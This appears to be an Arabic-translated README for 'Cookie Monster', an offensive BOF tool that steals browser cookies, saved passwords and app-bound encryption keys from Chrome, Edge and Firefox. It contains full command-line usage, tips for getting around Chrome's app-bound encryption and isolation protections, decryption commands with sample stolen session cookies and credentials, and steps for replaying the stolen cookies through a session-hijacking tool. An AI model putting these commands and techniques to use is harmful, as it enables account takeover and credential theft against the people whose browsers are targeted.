
أداة قائمة على BOF لاستخراج ملفات تعريف الارتباط وبيانات الاعتماد من المتصفحات Chrome وEdge وFirefox عبر تكرار المقبض (handle duplication) والتنزيل بدون ملفات (fileless download)، مع دعم فك التشفير دون اتصال (offline decryption).
اسرق ملفات تعريف الارتباط الخاصة بالمتصفحات edge وchrome وfirefox عبر BOF!
سيقوم Cookie Monster BOF باستخراج WebKit Master Key وApp Bound Encryption Key لكل من Edge وChrome، وتحديد موقع عملية متصفح تمتلك مقبضًا (handle) لملفات Cookies وLogin Data، ونسخ المقبض/المقابض ثم تنزيل الملف/الملفات المستهدفة دون كتابتها على القرص.
بمجرد تنزيل ملف/ملفات Cookies/Login Data، يمكن استخدام سكربت فك التشفير بلغة Python لاستخراج تلك الأسرار! ستقوم وحدة Firefox بتحليل profiles.ini وتحديد موقع ملفي logins.json وkey4.db وتنزيلهما. تتم الإشارة إلى مستودع GitHub منفصل لفك التشفير دون اتصال.
تحديثات Chrome وEdge 127+: تستخدم ملفات تعريف الارتباط الجديدة في متصفح chromium (v20) المفتاح المرتبط بالتطبيق (app bound key) لتشفير ملفات تعريف الارتباط. ونتيجة لذلك، يجعل هذا استرداد app_bound_encrypted_key أكثر صعوبة قليلًا. بفضل snovvcrash يمكن إنجاز هذه العملية دون الحاجة إلى رفع صلاحياتك. الشرط هو أن تكون عمليتك قيد التشغيل من داخل دليل تطبيق متصفح الويب، أي يجب الحقن في Chrome/Edge أو إنشاء beacon من نفس دليل التطبيق الخاص بالمتصفح.
قد يشغّل Chrome 157+ عملية مشغّل (launcher) غير معزولة تبدأ المتصفح الحقيقي كعملية ثانية chrome.exe --isolated. لا يمكن فك تشفير المفاتيح المرتبطة بالتطبيق التي أُنشئت مع تفعيل العزل إلا بواسطة مستدعٍ يحمل سمة الأمان الخاصة بالعزل في Chrome. احقن في عملية Chrome ذات الخيار --isolated؛ فالحقن في المشغّل يعيد HRESULT 0x8004A018 (kIsolationStateInvalid). قد يكون خطأ Win32 المرافق قديمًا (على سبيل المثال، 122)، لذا استخدم HRESULT لتشخيص هذه الحالة.
فك تشفير ملفات تعريف الارتباط بصلاحيات SYSTEM ودون الحاجة إلى الحقن في عملية المتصفح! شكر خاص لـ @sdemius لاكتشافه كيفية فك تشفير دالة PostProcessData في Chrome ولـ @b1scoito على الشرح! غيّر Chrome 137+ دالة PostProcessData() مرة أخرى، شكر خاص لـ @runassu على اكتشاف ذلك!
أضاف التحديث الأخير فك تشفير Webkit Master Key بفضل @M1ndo. يُفك تشفير المفتاح الرئيسي تلقائيًا إلى جانب المفتاح المرتبط بالتطبيق. للاستفادة منه، أضف المفتاح إلى سكربت فك التشفير بلغة Python. يُرى هذا المفتاح مستخدمًا بشكل أساسي عند استخدام ملفات تعريف التجوال (roaming profiles)، أو كلمات المرور المخزنة في Edge، أو كلمات المرور المخزنة الأقدم.
Usage: cookie-monster [--chrome || --edge || --system <Local State File Path> <PID> || --firefox || --chromeCookiePID <PID> || --chromeLoginDataPID <PID> || --edgeCookiePID <PID> || --edgeLoginDataPID <PID> ] [--cookie-only] [--key-only] [--login-data-only] [--copy-file "C:\Folder\Location\"]
cookie-monster Examples:
cookie-monster --chrome
cookie-monster --edge
cookie-monster --system "C:\Users\<USER>\AppData\Local\<BROWSER>\User Data\Local State" <PID>
cookie-moster --firefox
cookie-monster --chromeCookiePID <PID>
cookie-monster --chromeLoginDataPID <PID>
cookie-monster --edgeCookiePID <PID>
cookie-monster --edgeLoginDataPID <PID>
cookie-monster Options:
--chrome, looks at all running processes and handles, if one matches chrome.exe it copies the handle to cookies and then copies the file to the CWD
--edge, looks at all running processes and handles, if one matches msedge.exe it copies the handle to cookies and then copies the file to the CWD
--system, Decrypt chromium based browser app bound encryption key without injecting into browser. Requires path to Local State file and PID of a user process for impersonation
--firefox, looks for profiles.ini and locates the key4.db and logins.json file
--chromeCookiePID, if chrome PID is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and file
--chromeLoginDataPID, if chrome PID is provided look for the specified process with a handle to Login Data is known, specifiy the pid to duplicate its handle and file
--edgeCookiePID, if edge PID is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and file
--edgeLoginDataPID, if edge PID is provided look for the specified process with a handle to Login Data is known, specifiy the pid to duplicate its handle and file
--key-only, only retrieve the app bound encryption key. Do not attempt to download the Cookie or Login Data files.
--cookie-only, only retrieve the Cookie file. Do not attempt to download Login Data file or retrieve app bound encryption key.
--login-data-only, only retrieve the Login Data file. Do not attempt to download Cookie file or retrieve app bound encryption key.
--copy-file, copies the Cookie and Login Data file to the folder specified. Does not use fileless retrieval method.
تأكد من تثبيت Mingw-w64 وmake على نظام Linux قبل التجميع.
make
تثبيت المتطلبات
pip3 install -r requirements.txt
الاستخدام
python3 decrypt.py -h
usage: decrypt.py [-h] -k KEY -o {cookies,passwords,cookie-editor,cuddlephish,firefox} -f FILE [--chrome-aes-key CHROME_AES_KEY]
Decrypt Chromium cookies and passwords given a key and DB file
options:
-h, --help show this help message and exit
-k KEY, --key KEY Decryption key
-o {cookies,passwords,cookie-editor,cuddlephish,firefox}, --option {cookies,passwords,cookie-editor,cuddlephish,firefox}
Option to choose
-f FILE, --file FILE Location of the database file
--chrome-aes-key CHROME_AES_KEY
Chrome AES Key
-mk MASTER_KEY, --master-key MASTER_KEY
Old key used in v10 passwords
أمثلة: فك تشفير ملف تعريف ارتباط Chrome/Edge
python .\decrypt.py -k "\xec\xfc...." -o cookies -f ChromeCookies.db
Results Example:
-----------------------------------
Host: .github.com
Path: /
Name: dotcom_user
Cookie: KingOfTheNOPs
Expires: Oct 28 2024 21:25:22
Host: github.com
Path: /
Name: user_session
Cookie: x123.....
Expires: Nov 11 2023 21:25:22
فك تشفير ملفات تعريف ارتباط Chrome باستخدام مفتاح Chrome AES
python3 decrypt.py --chrome-aes-key '\x8e\....' -k "\x03\...." -o cuddlephish -f ChromeCookies.db
Cookies saved to cuddlephish_2025-07-03_01-53-57.json
فك تشفير ملف تعريف ارتباط Chrome/Edge وحفظه بصيغة json
python .\decrypt.py -k "\xec\xfc...." -o cookie-editor -f ChromeCookies.db
Results Example:
Cookies saved to 2025-04-11_18-06-10_cookies.json
استيراد ملف cookies بصيغة JSON باستخدام https://cookie-editor.com/
فك تشفير ملف كلمات المرور الخاص بـ Chrome/Edge
python3 decrypt.py -o passwords -f EdgePasswords.db -k '\xf9\x...' -mk '\xf3\x..'
URL: https://test.com/
Username: adgf
Password: pass
Results Example:
-----------------------------------
URL: https://test.com/
Username: tester
Password: McTesty
فك تشفير ملفات تعريف الارتباط وبيانات الاعتماد المخزنة في Firefox:
https://github.com/lclevy/firepwd
أُضيف خيار cuddlephish إلى سكربت فك التشفير والذي ينبغي أن يدعم استخدام ملف تعريف الارتباط مع https://github.com/fkasler/cuddlephish
# Decrypt Cookies
python3 decrypt.py -k "\xec\xfc..." -o cuddlephish -f ChromeCookies.db
# Clone Project
cd
git clone https://github.com/fkasler/cuddlephish
cd cuddlephish
# Install Dependencies Example on Debian
curl -fsSL https://deb.nodesource.com/setup_23.x -o nodesource_setup.sh
sudo -E bash nodesource_setup.sh
sudo apt-get install nodejs
npm install
# Import Cookies
cp ~/cookie-monster/cuddlephish_YYYY-MM-DD_HH-MM-SS.json .
node stealer.js cuddlephish_YYYY-MM-DD_HH-MM-SS.json